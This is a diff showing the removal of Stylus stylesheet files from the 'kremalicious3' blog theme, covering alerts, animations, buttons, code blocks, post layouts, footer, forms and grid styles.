@media $screen-sm
|
||||
.grid__col:last-child
|
||||
display: flex
|
||||
justify-content: flex-end
|
||||
|
||||
.action
|
||||
padding-left: 32px
|
||||
display: inline-block
|
||||
|
||||
.icon
|
||||
margin-right: 8px
|
||||
margin-left: -32px
|
||||
margin-bottom: -3px
|
||||
|
||||
.action__title
|
||||
font-size: $font-size-base
|
||||
line-height: $line-height
|
||||
margin-top: 0
|
||||
color: $text-color
|
||||
margin-bottom: 0
|
||||
display: inline-block
|
||||
|
||||
.action__text
|
||||
display: block
|
||||
margin-bottom: 0
|
||||
|
||||
.donate
|
||||
.btc
|
||||
@extend .mini
|
||||
display: inline-block
|
||||
width: 80px
|
||||
white-space: nowrap
|
||||
overflow: hidden
|
||||
text-overflow: ellipsis
|
||||
|
||||
.vex-bitcoin
|
||||
@extend .textcenter
|
||||
|
||||
.vex-content
|
||||
max-width: 46em
|
||||
|
||||
h4
|
||||
font-size: $font-size-h5
|
||||
margin-top: 0
|
||||
margin-bottom: ($spacer / 4)
|
||||
color: $brand-grey
|
||||
|
||||
.qr
|
||||
margin-bottom: ($spacer / 2)
|
||||
|
||||
pre
|
||||
@extend .small
|
||||
margin: 0
|
||||
position: relative
|
||||
padding-right: 2.4rem
|
||||
|
||||
code
|
||||
padding: ($spacer / 2)
|
||||
padding-right: 0
|
||||
font-size: .65rem
|
||||
|
||||
.btn
|
||||
position: absolute
|
||||
right: 0
|
||||
top: 0
|
||||
bottom: 0
|
||||
border: 0
|
||||
box-shadow: none
|
||||
border-top-left-radius: 0
|
||||
border-bottom-left-radius: 0
|
||||
background: alpha($brand-grey, 30%)
|
||||
|
||||
svg
|
||||
width: 1rem
|
||||
height: 1rem
|
||||
fill: $brand-grey
|
||||
transition: .15s ease-out
|
||||
|
||||
&:hover
|
||||
background: alpha($brand-grey, 30%)
|
||||
svg
|
||||
fill: $brand-grey-dimmed
|
||||
|
||||
&.success
|
||||
background: darken($alert-success, 50%)
|
||||
|
||||
svg
|
||||
fill: $brand-dark
|
||||
@ -1,38 +0,0 @@
|
||||
//
|
||||
// kremalicious3
|
||||
// --------------
|
||||
// Alerts
|
||||
//
|
||||
|
||||
$alert-info = #f7f1e4
|
||||
$alert-success = #dff0d8
|
||||
$alert-error = #f2dede
|
||||
|
||||
.alert
|
||||
padding: $spacer
|
||||
margin-bottom: $spacer
|
||||
border-radius: $border-radius-base
|
||||
border: 1px solid transparent
|
||||
box-shadow: 0 1px 3px rgba($brand-grey, .1), inset 0 1px 0 #fff
|
||||
|
||||
> p,
|
||||
> ul
|
||||
margin-bottom: 0
|
||||
> p + p
|
||||
margin-top: $spacer
|
||||
|
||||
.alert-success
|
||||
color: darken($alert-success, 60%)
|
||||
background: $alert-success
|
||||
border-color: darken($alert-success, 10%)
|
||||
|
||||
.alert-danger,
|
||||
.alert-error
|
||||
color: darken($alert-error, 60%)
|
||||
background: $alert-error
|
||||
border-color: darken($alert-error, 10%)
|
||||
|
||||
.alert-info
|
||||
color: darken($alert-info, 60%)
|
||||
background: $alert-info
|
||||
border-color: darken($alert-info, 10%)
|
||||
@ -1,64 +0,0 @@
|
||||
//
|
||||
// kremalicious3
|
||||
// --------------
|
||||
// Animations
|
||||
//
|
||||
|
||||
// Buttery Smooth(tm)
|
||||
////////////////////////////////////
|
||||
|
||||
gpuacceleration()
|
||||
-webkit-transform: translate3d(0,0,0)
|
||||
-webkit-backface-visibility: hidden
|
||||
-webkit-perspective: 1000
|
||||
|
||||
.gpuacceleration
|
||||
gpuacceleration()
|
||||
|
||||
|
||||
// Slide Up
|
||||
////////////////////////////////////
|
||||
|
||||
@keyframes slideUp
|
||||
0%
|
||||
transform: translate3d(0, 100px, 0)
|
||||
opacity: 0
|
||||
|
||||
100%
|
||||
transform: translate3d(0, 0, 0)
|
||||
opacity: 1
|
||||
|
||||
.animation-slideup
|
||||
animation: slideUp .2s cubic-bezier(.06,.85,.54,1)
|
||||
|
||||
//
|
||||
// Bounce
|
||||
//
|
||||
// taken and adapted from
|
||||
// http://daneden.github.io/animate.css/
|
||||
////////////////////////////////////
|
||||
|
||||
// Down
|
||||
@keyframes slideDown
|
||||
0%
|
||||
transform: translate3d(0, -100px, 0)
|
||||
|
||||
100%
|
||||
transform: none
|
||||
|
||||
.animation-slidedown
|
||||
animation: slideDown .2s cubic-bezier(.06,.85,.54,1)
|
||||
|
||||
// Up
|
||||
@keyframes bounceOutUp
|
||||
20%
|
||||
transform: translate3d(0, -10px, 0)
|
||||
|
||||
40%, 45%
|
||||
transform: translate3d(0, 20px, 0)
|
||||
|
||||
100%
|
||||
transform: translate3d(0, -100px, 0)
|
||||
|
||||
.animation-bounceOutUp
|
||||
animation: bounceOutUp .5s both
|
||||
@ -1,201 +0,0 @@
|
||||
//
|
||||
// kremalicious3
|
||||
// --------------
|
||||
// Buttons
|
||||
//
|
||||
|
||||
// Reset default button element
|
||||
button
|
||||
padding: 0
|
||||
cursor: pointer
|
||||
background: transparent
|
||||
border: 0
|
||||
-webkit-appearance: none
|
||||
|
||||
&:active
|
||||
background: $link-color
|
||||
transition: none
|
||||
text-shadow: none
|
||||
|
||||
.btn,
|
||||
a.btn
|
||||
@extend .textcenter
|
||||
display: inline-block
|
||||
margin-bottom: 0
|
||||
font-weight: normal
|
||||
vertical-align: middle
|
||||
touch-action: manipulation
|
||||
cursor: pointer
|
||||
background-image: none // Reset unusual Firefox-on-Android default style
|
||||
white-space: nowrap
|
||||
user-select: none
|
||||
transition: all .2s ease-in-out
|
||||
|
||||
// Default Button
|
||||
button-size($padding-base-vertical, $padding-base-horizontal, $font-size-small, $line-height, $border-radius-base)
|
||||
background-color: rgba(255,255,255,.1)
|
||||
border: 1px solid rgba(94,131,162,.3)
|
||||
border-bottom-color: rgba(94,131,162,.4)
|
||||
font-family: $headings-font-family
|
||||
font-weight: $headings-font-weight
|
||||
color: $brand-grey
|
||||
text-transform: uppercase
|
||||
box-shadow: 0 1px 3px alpha($brand-grey-light, .1), inset 0 1px 0 rgba(255,255,255,.7)
|
||||
|
||||
@media $screen-sm
|
||||
max-width: 20rem
|
||||
|
||||
&:hover,
|
||||
&:focus
|
||||
outline: 0
|
||||
background-color: rgba(255,255,255,.5)
|
||||
|
||||
&:active
|
||||
color: $brand-grey
|
||||
border-color: rgba(94,131,162,.3)
|
||||
background-color: transparent
|
||||
box-shadow: 0 1px 0 #fff
|
||||
transition: none
|
||||
outline: 0
|
||||
|
||||
&:focus
|
||||
outline: 0
|
||||
border-color: $input-border-focus
|
||||
|
||||
// Disabled State
|
||||
&.disabled,
|
||||
&[disabled],
|
||||
fieldset[disabled] &
|
||||
cursor: not-allowed
|
||||
pointer-events: none // Future-proof disabling of clicks
|
||||
opacity: .6
|
||||
box-shadow: none
|
||||
|
||||
// grid buttons
|
||||
&.col2,
|
||||
&.col3
|
||||
margin-bottom: ($spacer/2)
|
||||
|
||||
@media $screen-sm
|
||||
margin-bottom: 0
|
||||
span
|
||||
font-size: .9em
|
||||
color: rgba(19, 56, 50, .6)
|
||||
margin-left: .3em
|
||||
|
||||
// Primary Button
|
||||
.btn-primary,
|
||||
a.btn-primary
|
||||
color: darken($link-color, 50%)
|
||||
text-shadow: 0 1px 0 rgba(255,255,255,.3)
|
||||
background: lighten($link-color, 15%)
|
||||
border-color: $link-color
|
||||
box-shadow: 0 1px 3px alpha($brand-grey-light, .4), inset 0 1px 0 rgba(255,255,255,.4)
|
||||
|
||||
&:hover,
|
||||
&:focus
|
||||
color: darken($link-color, 50%)
|
||||
background-color: lighten($link-color, 25%)
|
||||
text-shadow: 0 1px 0 rgba(255,255,255,.3)
|
||||
|
||||
&:active
|
||||
color: darken($link-color, 50%)
|
||||
border-color: darken($link-color, 10%)
|
||||
background-color: lighten($link-color, 15%)
|
||||
|
||||
.more-link
|
||||
font-family: $headings-font-family
|
||||
font-weight: $headings-font-weight
|
||||
font-size: $font-size-small
|
||||
color: $link-color
|
||||
text-transform: uppercase
|
||||
|
||||
// icon
|
||||
.icon
|
||||
top: .15em
|
||||
position: relative
|
||||
width: 18px
|
||||
height: 18px
|
||||
|
||||
.btn-block
|
||||
display: block
|
||||
|
||||
|
||||
// Close button
|
||||
/////////////////////////////////////
|
||||
|
||||
.close
|
||||
@extend .textcenter, .transition
|
||||
display: block
|
||||
color: lighten($brand-grey-light, 50%)
|
||||
line-height: 1
|
||||
font-size: $font-size-large
|
||||
padding: 3px
|
||||
cursor: pointer
|
||||
|
||||
button.&
|
||||
cursor: pointer
|
||||
background: transparent
|
||||
border: 0
|
||||
-webkit-appearance: none
|
||||
|
||||
&:hover,
|
||||
&:focus
|
||||
color: lighten($brand-grey-light, 20%)
|
||||
cursor: pointer
|
||||
outline: 0
|
||||
|
||||
&:active
|
||||
background: none
|
||||
color: $brand-grey-light
|
||||
transition: none
|
||||
|
||||
|
||||
// some helper classes for old content
|
||||
/////////////////////////////////////
|
||||
|
||||
.content-download
|
||||
@extend .grid, .grid--gutters
|
||||
text-align: center
|
||||
display: block
|
||||
margin-top: 0
|
||||
|
||||
@media $screen-xs
|
||||
display: flex
|
||||
margin-top: -($gutter-space)
|
||||
|
||||
a
|
||||
@extend .btn, .grid__col
|
||||
margin: $gutter-space 0 0 $gutter-space
|
||||
|
||||
&:only-child
|
||||
margin-left: auto
|
||||
margin-right: auto
|
||||
|
||||
span
|
||||
font-size: $font-size-mini
|
||||
color: $text-color-light
|
||||
|
||||
.icon-download,
|
||||
.icon-heart,
|
||||
.icon-wordpress,
|
||||
.icon-github,
|
||||
.icon-eye
|
||||
&:before
|
||||
content: ""
|
||||
width: 18px
|
||||
height: 18px
|
||||
display: inline-block
|
||||
margin-right: 5px
|
||||
margin-bottom: -3px
|
||||
opacity: .35
|
||||
background: url('/assets/img/arrow-with-circle-down.svg') no-repeat left center
|
||||
|
||||
.icon-heart:before
|
||||
background-image: url('/assets/img/heart.svg')
|
||||
|
||||
.icon-github:before
|
||||
background-image: url('/assets/img/github.svg')
|
||||
|
||||
.icon-eye:before
|
||||
background-image: url('/assets/img/eye.svg')
|
||||
@ -1,77 +0,0 @@
|
||||
//
|
||||
// kremalicious3
|
||||
// --------------
|
||||
// Code
|
||||
//
|
||||
|
||||
code,
|
||||
kbd,
|
||||
pre,
|
||||
samp
|
||||
font-family: $font-family-monospace
|
||||
font-size: $font-size-small
|
||||
hyphens: none
|
||||
|
||||
code,
|
||||
kbd
|
||||
padding: 2px 4px
|
||||
|
||||
code,
|
||||
samp
|
||||
color: darken($code-color, 40%)
|
||||
background-color: alpha($code-bg, 5%)
|
||||
border-radius: $border-radius-base
|
||||
|
||||
kbd
|
||||
color: $kbd-color
|
||||
background-color: $kbd-bg
|
||||
border-radius: $border-radius-small
|
||||
border: 1px solid $kbd-bg
|
||||
box-shadow: inset 0 1px 0 rgba(#fff, .4)
|
||||
|
||||
pre
|
||||
display: block
|
||||
padding: 0
|
||||
margin-bottom: $spacer
|
||||
line-height: $line-height
|
||||
color: $code-color
|
||||
background-color: $code-bg
|
||||
margin-left: -($spacer)
|
||||
margin-right: -($spacer)
|
||||
|
||||
// make 'em scrollable
|
||||
overflow: scroll
|
||||
-webkit-overflow-scrolling: touch
|
||||
max-height: 300px
|
||||
|
||||
@media $screen-sm
|
||||
max-height: 500px
|
||||
|
||||
@media $screen-md
|
||||
border-radius: $border-radius-base
|
||||
|
||||
// Account for some code outputs that place code tags in pre tags
|
||||
code
|
||||
white-space: pre
|
||||
overflow: auto
|
||||
display: block
|
||||
padding: $spacer
|
||||
font-size: inherit
|
||||
color: inherit
|
||||
background-color: transparent
|
||||
border-radius: 0
|
||||
|
||||
overflow-wrap: normal
|
||||
word-wrap: normal
|
||||
word-break: normal
|
||||
|
||||
code.language-shell
|
||||
padding-left: 1.5em
|
||||
display: block
|
||||
|
||||
&:before
|
||||
@extend .text-dimmed
|
||||
content: "$"
|
||||
display: inline-block
|
||||
margin-left: -.5em
|
||||
margin-right: .8em
|
||||
@ -1,62 +0,0 @@
|
||||
//
|
||||
// kremalicious3
|
||||
// --------------
|
||||
// Content - Featured Posts
|
||||
//
|
||||
|
||||
.featured
|
||||
@extend .breakoutviewport
|
||||
padding-bottom: $spacer
|
||||
|
||||
.grid
|
||||
margin-bottom: 0
|
||||
|
||||
@media $screen-sm
|
||||
padding-bottom: ($spacer*3)
|
||||
|
||||
.hentry__teaser
|
||||
max-width: 100%;
|
||||
|
||||
@media $screen-xs
|
||||
margin-left: 0
|
||||
margin-right: 0
|
||||
|
||||
.featured-link
|
||||
@extend .link--nounderline
|
||||
display: block
|
||||
position: relative
|
||||
|
||||
&:hover,
|
||||
&:focus
|
||||
img
|
||||
border-color: $link-color
|
||||
|
||||
.featured-title
|
||||
@extend .transition
|
||||
transition-property: transform, opacity
|
||||
margin: 0
|
||||
position: absolute
|
||||
top: 25%
|
||||
min-width: 45%
|
||||
text-align: right
|
||||
font-family: $headings-font-family
|
||||
font-weight: $headings-font-weight
|
||||
font-style: normal
|
||||
font-size: $font-size-small
|
||||
padding: ($spacer/3)
|
||||
background: $link-color
|
||||
background: alpha($link-color, .85)
|
||||
color: #fff
|
||||
text-shadow: 0 1px 0 #000
|
||||
left: 0
|
||||
|
||||
opacity: 0
|
||||
transform: translate3d(0, -20px, 0)
|
||||
|
||||
.featured-link:hover &
|
||||
opacity: 1
|
||||
transform: translate3d(0, 0, 0)
|
||||
|
||||
img.featured-image
|
||||
display: block
|
||||
margin-bottom: 0
|
||||
@ -1,24 +0,0 @@
|
||||
//
|
||||
// kremalicious3
|
||||
// --------------
|
||||
// Content - Link Post
|
||||
//
|
||||
|
||||
.linkurl
|
||||
@extend .text-dimmed, .ellipsis, .aligncenter
|
||||
font-family: $font-family-base
|
||||
font-size: $font-size-mini
|
||||
padding: ($spacer/3) 0
|
||||
max-width: 70%
|
||||
|
||||
@media $screen-sm
|
||||
max-width: 50%
|
||||
|
||||
.permalink-link
|
||||
@extend .alignright
|
||||
.icon
|
||||
fill: $link-color
|
||||
width: 18px
|
||||
|
||||
&:hover .icon
|
||||
fill: $link-color-hover
|
||||
@ -1,103 +0,0 @@
|
||||
//
|
||||
// kremalicious3
|
||||
// --------------
|
||||
// Content - Photo Post
|
||||
//
|
||||
|
||||
.hentry.format-photo
|
||||
@extend .textcenter
|
||||
|
||||
.entry-title
|
||||
margin-bottom: 0
|
||||
|
||||
figure
|
||||
position: relative
|
||||
display: inline-block
|
||||
|
||||
img,
|
||||
figcaption
|
||||
margin-bottom: 0
|
||||
|
||||
figcaption
|
||||
@extend .transition, .h4
|
||||
transition-property: transform, opacity
|
||||
position: absolute
|
||||
min-width: 45%
|
||||
text-align: right
|
||||
padding: ($spacer/3)
|
||||
background: $link-color
|
||||
background: alpha($link-color, .7)
|
||||
color: #fff
|
||||
text-shadow: 0 1px 0 #000
|
||||
|
||||
left: 0
|
||||
top: $spacer * 4
|
||||
opacity: 0
|
||||
transform: translate3d(0, -20px, 0)
|
||||
|
||||
&:hover figcaption
|
||||
opacity: 1
|
||||
transform: translate3d(0, 0, 0)
|
||||
|
||||
.entry-content
|
||||
text-align: left
|
||||
margin-top: $spacer
|
||||
|
||||
.page-single &
|
||||
padding-top: 0
|
||||
padding-bottom: ($spacer*3)
|
||||
|
||||
@media $screen-sm
|
||||
padding-top: 0
|
||||
padding-bottom: ($spacer*6)
|
||||
|
||||
figure img
|
||||
max-height: none
|
||||
|
||||
|
||||
.photo-link
|
||||
display: block;
|
||||
|
||||
img
|
||||
@extend .media-frame
|
||||
|
||||
&,
|
||||
&:hover,
|
||||
&:focus,
|
||||
&:active
|
||||
box-shadow: none
|
||||
|
||||
&:hover,
|
||||
&:focus
|
||||
img
|
||||
border-color: $link-color-hover
|
||||
border-radius: $border-radius-base
|
||||
|
||||
&:active
|
||||
background: none
|
||||
|
||||
//
|
||||
// EXIF metadata display
|
||||
//
|
||||
.exif
|
||||
@extend .small, .text-dimmed
|
||||
text-align: left
|
||||
position: absolute
|
||||
bottom: -($spacer * 1.25)
|
||||
left: $spacer
|
||||
right: $spacer
|
||||
|
||||
.container
|
||||
display: flex
|
||||
flex-wrap: wrap
|
||||
justify-content: space-between
|
||||
|
||||
//
|
||||
// Photo background change adjustment
|
||||
//
|
||||
.ab-dark
|
||||
.entry-content
|
||||
@extend .text-dimmed
|
||||
|
||||
.byline, time, .comments
|
||||
color: $text-color-light
|
||||
@ -1,48 +0,0 @@
|
||||
//
|
||||
// kremalicious3
|
||||
// --------------
|
||||
// Content - Related Posts
|
||||
//
|
||||
|
||||
.related-posts
|
||||
.grid
|
||||
margin-top: 0
|
||||
|
||||
.related-posts-title
|
||||
@extend .heading-band, .h3
|
||||
margin-bottom: $spacer
|
||||
|
||||
.related-post
|
||||
img
|
||||
@extend .media-frame
|
||||
|
||||
.post-title
|
||||
@extend .h5, .transition, .text-dimmed
|
||||
margin-top: ($spacer / 3)
|
||||
margin-bottom: 0
|
||||
padding: 0 2px
|
||||
|
||||
.post-title-link
|
||||
@extend .transition, .link--nounderline
|
||||
display: block
|
||||
|
||||
&:hover,
|
||||
&:focus
|
||||
.post-title
|
||||
color: $link-color
|
||||
img
|
||||
border-color: $link-color-hover
|
||||
|
||||
&:active
|
||||
.post-title
|
||||
color: #fff
|
||||
transition: none
|
||||
|
||||
|
||||
//
|
||||
// Related Photos
|
||||
//
|
||||
.related-photos
|
||||
@extend .divider-top
|
||||
margin-top: $spacer * 2
|
||||
padding-top: $spacer * 3
|
||||
@ -1,204 +0,0 @@
|
||||
//
|
||||
// kremalicious3
|
||||
// --------------
|
||||
// Generic Content
|
||||
//
|
||||
|
||||
|
||||
// Page Title
|
||||
/////////////////////////////////////
|
||||
|
||||
.page-title
|
||||
@extend .h2, .heading-band
|
||||
color: $brand-grey-light
|
||||
margin-top: -($spacer*2)
|
||||
margin-bottom: $spacer
|
||||
|
||||
.hash
|
||||
@extend .h3
|
||||
color: darken($page-bg, 15%)
|
||||
margin-right: 2px
|
||||
|
||||
.hentry
|
||||
@extend .divider-bottom
|
||||
padding-top: ($spacer*2)
|
||||
padding-bottom: ($spacer*2)
|
||||
width: 100%
|
||||
|
||||
&:first-child
|
||||
padding-top: 0
|
||||
|
||||
@media $screen-sm
|
||||
padding-top: ($spacer*3)
|
||||
padding-bottom: ($spacer*3)
|
||||
|
||||
.page-single &
|
||||
border: none
|
||||
|
||||
&:before
|
||||
@extend .hide
|
||||
|
||||
|
||||
// Post Header
|
||||
/////////////////////////////////////
|
||||
|
||||
.entry-header
|
||||
.page-single &
|
||||
@media $screen-md
|
||||
breakoutviewport()
|
||||
|
||||
|
||||
// Post Title
|
||||
/////////////////////////////////////
|
||||
|
||||
.entry-title
|
||||
@extend .h1, .textcenter
|
||||
color: $headings-color
|
||||
margin-top: 0
|
||||
margin-bottom: $spacer
|
||||
|
||||
a
|
||||
@extend .link--nounderline
|
||||
|
||||
.format-link &
|
||||
@extend .h3
|
||||
|
||||
|
||||
// Post Lead
|
||||
/////////////////////////////////////
|
||||
|
||||
.entry-lead
|
||||
@extend .large, .textcenter
|
||||
color: $brand-grey
|
||||
line-height: $line-height-large
|
||||
|
||||
|
||||
// Post/photo teaser
|
||||
/////////////////////////////////////
|
||||
|
||||
.hentry__teaser
|
||||
@extend .breakoutviewport
|
||||
max-width: none
|
||||
display: block
|
||||
margin-top: ($spacer*1.5)
|
||||
margin-bottom: ($spacer*1.5)
|
||||
|
||||
img
|
||||
@extend .media-frame
|
||||
border-radius: 0
|
||||
|
||||
@media $screen-sm
|
||||
border-radius: $border-radius-base
|
||||
|
||||
.hentry__teaser--link
|
||||
&:hover,
|
||||
&:focus
|
||||
img
|
||||
border-color: $link-color
|
||||
|
||||
// Post Content
|
||||
/////////////////////////////////////
|
||||
|
||||
.entry-content
|
||||
h1,
|
||||
h2
|
||||
@extend .heading-band
|
||||
|
||||
h1
|
||||
@extend .h2
|
||||
h2
|
||||
@extend .h3
|
||||
h3
|
||||
@extend .h4
|
||||
|
||||
p:last-child
|
||||
margin-bottom: 0
|
||||
|
||||
|
||||
// Post meta
|
||||
/////////////////////////////////////
|
||||
|
||||
.entry-meta
|
||||
@extend .small
|
||||
margin-top: ($spacer*2)
|
||||
|
||||
a
|
||||
@extend .link--nounderline
|
||||
|
||||
.byline,
|
||||
.time,
|
||||
.tags,
|
||||
.categories
|
||||
@extend .textcenter
|
||||
|
||||
.byline,
|
||||
.time
|
||||
@extend .text-dimmed, .italic
|
||||
|
||||
.byline
|
||||
margin-bottom: 0
|
||||
|
||||
.by
|
||||
display: block
|
||||
|
||||
.time
|
||||
margin-bottom: ($spacer*2)
|
||||
|
||||
|
||||
// Categories & Tags
|
||||
/////////////////////////////////////
|
||||
|
||||
.categories
|
||||
margin-bottom: ($spacer/2)
|
||||
|
||||
.category
|
||||
@extend .h6, .textcenter, .mini, .link--nounderline
|
||||
color: $text-color
|
||||
line-height: 1
|
||||
text-transform: uppercase
|
||||
border: 1px solid $text-color
|
||||
border-radius: $border-radius-base
|
||||
padding: 4px 8px
|
||||
margin: 0
|
||||
display: inline-block
|
||||
|
||||
&:hover,
|
||||
&:focus
|
||||
color: $link-color
|
||||
border-color: $link-color
|
||||
|
||||
&:active
|
||||
background: $link-color
|
||||
top: 0
|
||||
color: #fff
|
||||
|
||||
.tag
|
||||
@extend .link--nounderline
|
||||
color: $text-color
|
||||
margin-right: 5px
|
||||
|
||||
&:before
|
||||
@extend .text-dimmed
|
||||
content: '#'
|
||||
margin-right: 1px
|
||||
|
||||
.avatar
|
||||
width: 80px
|
||||
height: 80px
|
||||
border-radius: 80px
|
||||
border: 2px solid #fff
|
||||
|
||||
|
||||
// Goodies download
|
||||
/////////////////////////////////////
|
||||
|
||||
.goodie-actions
|
||||
@extend .aligncenter
|
||||
max-width: 640px
|
||||
|
||||
p,
|
||||
.btn
|
||||
margin-bottom: 0
|
||||
|
||||
.btn
|
||||
display: block
|
||||
@ -1,97 +0,0 @@
|
||||
//
|
||||
// kremalicious3
|
||||
// --------------
|
||||
// Footer
|
||||
//
|
||||
|
||||
.site__footer
|
||||
@extend .textcenter
|
||||
padding-top: ($spacer*2)
|
||||
|
||||
.avatar
|
||||
margin-bottom: ($spacer / 2)
|
||||
|
||||
&,
|
||||
.footer-description
|
||||
color: $text-color-light
|
||||
line-height: $spacer
|
||||
|
||||
a
|
||||
@extend .link--nounderline
|
||||
|
||||
.footer-description
|
||||
@extend .h5
|
||||
margin-top: 0
|
||||
margin-bottom: ($spacer / 4)
|
||||
|
||||
a
|
||||
display: block
|
||||
|
||||
.footer-copyright
|
||||
@extend .divider-top
|
||||
padding-top: $spacer
|
||||
padding-bottom: $spacer
|
||||
|
||||
p
|
||||
margin-bottom: 0
|
||||
font-size: $font-size-mini
|
||||
|
||||
.icon
|
||||
width: 15px
|
||||
height: 15px
|
||||
margin-right: .2em
|
||||
margin-bottom: -2px
|
||||
|
||||
// Subscribe component
|
||||
.subscribe
|
||||
margin: $spacer auto
|
||||
p
|
||||
@extend .textcenter
|
||||
margin: 0
|
||||
|
||||
.link
|
||||
@extend .textcenter, .link--nounderline
|
||||
width: 2rem
|
||||
padding: $padding-small-vertical
|
||||
margin: 0
|
||||
display: inline-block
|
||||
color: $text-color-light
|
||||
|
||||
&:first-child
|
||||
margin-left: 0
|
||||
|
||||
&:last-child
|
||||
margin-right: 0
|
||||
|
||||
.icon
|
||||
transition: color .3s ease-in-out
|
||||
display: block
|
||||
margin: 0 auto
|
||||
|
||||
.rss:hover .icon
|
||||
fill: #e15a00
|
||||
.json:hover .icon
|
||||
fill: #8BE028
|
||||
.twitter:hover .icon
|
||||
fill: #019ad2
|
||||
.google:hover .icon
|
||||
fill: #c63b1e
|
||||
.facebook:hover .icon
|
||||
fill: #3b5998
|
||||
.github:hover .icon
|
||||
fill: #333
|
||||
|
||||
.subscribe-title
|
||||
@extend .h5, .text-dimmed
|
||||
margin-bottom: ($spacer/2)
|
||||
|
||||
.footer__btc
|
||||
margin-left: ($spacer / 2)
|
||||
.icon
|
||||
width: 10px
|
||||
margin-right: 0
|
||||
code
|
||||
font-size: .55rem
|
||||
background: none
|
||||
color: $link-color
|
||||
padding: 0
|
||||
@ -1,189 +0,0 @@
|
||||
//
|
||||
// kremalicious3
|
||||
// --------------
|
||||
// Forms
|
||||
//
|
||||
|
||||
|
||||
// Normalize non-controls
|
||||
/////////////////////////////////////
|
||||
|
||||
fieldset
|
||||
padding: 0
|
||||
margin: 0
|
||||
border: 0
|
||||
min-width: 0
|
||||
|
||||
legend
|
||||
display: block
|
||||
width: 100%
|
||||
padding: 0
|
||||
margin-bottom: $spacer
|
||||
font-size: ($font-size-base * 1.5)
|
||||
line-height: inherit
|
||||
border: 0
|
||||
|
||||
label
|
||||
@extend .bold
|
||||
display: inline-block
|
||||
margin-bottom: 5px
|
||||
cursor: pointer
|
||||
|
||||
|
||||
// Normalize form controls
|
||||
/////////////////////////////////////
|
||||
|
||||
// Override content-box in Normalize (* isn't specific enough)
|
||||
input[type="search"]
|
||||
box-sizing: border-box
|
||||
|
||||
// Position radios and checkboxes better
|
||||
input[type="radio"],
|
||||
input[type="checkbox"]
|
||||
margin: 4px 0 0
|
||||
margin-top: 1px \9 // IE8-9
|
||||
line-height: normal
|
||||
|
||||
// Set the height of file controls to match text inputs
|
||||
input[type="file"]
|
||||
display: block
|
||||
|
||||
// Make range inputs behave like textual form controls
|
||||
input[type="range"]
|
||||
display: block
|
||||
width: 100%
|
||||
|
||||
// Make multiple select elements height not fixed
|
||||
select[multiple],
|
||||
select[size]
|
||||
height: auto
|
||||
|
||||
|
||||
// Common form controls
|
||||
/////////////////////////////////////
|
||||
|
||||
.form-control
|
||||
display: block
|
||||
width: 100%
|
||||
padding: $padding-base-vertical $padding-base-horizontal
|
||||
font-size: $input-font-size
|
||||
font-weight: $input-font-weight
|
||||
line-height: $line-height
|
||||
color: $input-color
|
||||
background-color: $input-bg
|
||||
background-image: none // Reset unusual Firefox-on-Android default style
|
||||
border: 0
|
||||
border-radius: $input-border-radius
|
||||
box-shadow: none
|
||||
transition: all ease-in-out .15s
|
||||
-webkit-appearance: none // screw you, iOS default inset box-shadow
|
||||
|
||||
// Placeholder
|
||||
placeholder($input-color-placeholder)
|
||||
|
||||
&:hover
|
||||
lighten($input-bg, 30%)
|
||||
|
||||
&:focus
|
||||
background-color: $input-bg-focus
|
||||
border-color: $input-border-focus
|
||||
outline: 0
|
||||
placeholder(lighten($input-color-placeholder, 25%))
|
||||
|
||||
// Disabled and read-only inputs
|
||||
//
|
||||
// HTML5 says that controls under a fieldset > legend:first-child won't be
|
||||
// disabled if the fieldset is disabled. Due to implementation difficulty, we
|
||||
// don't honor that edge case; we style them as disabled anyway.
|
||||
&[disabled],
|
||||
&[readonly],
|
||||
fieldset[disabled] &
|
||||
cursor: not-allowed
|
||||
background-color: $input-bg-disabled
|
||||
opacity: 1 // iOS fix for unreadable disabled content
|
||||
|
||||
|
||||
// Form groups
|
||||
/////////////////////////////////////
|
||||
|
||||
.form-group
|
||||
margin-bottom: $spacer
|
||||
|
||||
|
||||
// Search inputs
|
||||
/////////////////////////////////////
|
||||
|
||||
input[type="search"]
|
||||
-webkit-appearance: none // This overrides the extra rounded corners on search inputs in iOS
|
||||
|
||||
|
||||
// Checkboxes and radios
|
||||
/////////////////////////////////////
|
||||
|
||||
.radio,
|
||||
.checkbox
|
||||
display: block
|
||||
min-height: $spacer // clear the floating input if there is no label text
|
||||
margin-top: 10px
|
||||
margin-bottom: 10px
|
||||
|
||||
label
|
||||
padding-left: 20px
|
||||
margin-bottom: 0
|
||||
font-weight: normal
|
||||
cursor: pointer
|
||||
|
||||
.radio input[type="radio"],
|
||||
.radio-inline input[type="radio"],
|
||||
.checkbox input[type="checkbox"],
|
||||
.checkbox-inline input[type="checkbox"]
|
||||
float: left
|
||||
margin-left: -20px
|
||||
|
||||
.radio + .radio,
|
||||
.checkbox + .checkbox
|
||||
margin-top: -5px // Move up sibling radios or checkboxes for tighter spacing
|
||||
|
||||
// Radios and checkboxes on same line
|
||||
.radio-inline,
|
||||
.checkbox-inline
|
||||
display: inline-block
|
||||
padding-left: 20px
|
||||
margin-bottom: 0
|
||||
vertical-align: middle
|
||||
font-weight: normal
|
||||
cursor: pointer
|
||||
|
||||
.radio-inline + .radio-inline,
|
||||
.checkbox-inline + .checkbox-inline
|
||||
margin-top: 0
|
||||
margin-left: 10px // space out consecutive inline controls
|
||||
|
||||
// Disabled Behavior
|
||||
input[type="radio"],
|
||||
input[type="checkbox"],
|
||||
.radio,
|
||||
.radio-inline,
|
||||
.checkbox,
|
||||
.checkbox-inline
|
||||
&[disabled],
|
||||
fieldset[disabled] &
|
||||
cursor: not-allowed
|
||||
|
||||
|
||||
// Form control sizing
|
||||
/////////////////////////////////////
|
||||
|
||||
input-small()
|
||||
input-size($padding-small-vertical, $padding-small-horizontal, $font-size-small, $line-height-small, $border-radius-small)
|
||||
placeholder(font-size $font-size-small, line-height $line-height-small)
|
||||
|
||||
input-large()
|
||||
input-size($padding-large-vertical, $padding-large-horizontal, $font-size-large, $line-height-large, $border-radius-large)
|
||||
placeholder(font-size $font-size-large, line-height $line-height-large)
|
||||
|
||||
.input-small
|
||||
input-small()
|
||||
|
||||
.input-large
|
||||
input-large()
|
||||
@ -1,217 +0,0 @@
|
||||
//
|
||||
// kremalicious3
|
||||
// --------------
|
||||
// Grid
|
||||
//
|
||||
|
||||
|
||||
*,
|
||||
*:before,
|
||||
*:after
|
||||
box-sizing: border-box
|
||||
|
||||
|
||||
//
|
||||
// Base
|
||||
//
|
||||
.grid
|
||||
display: flex
|
||||
flex-wrap: wrap
|
||||
list-style: none
|
||||
margin: 0
|
||||
padding: 0
|
||||
|
||||
.grid__col
|
||||
flex: 1
|
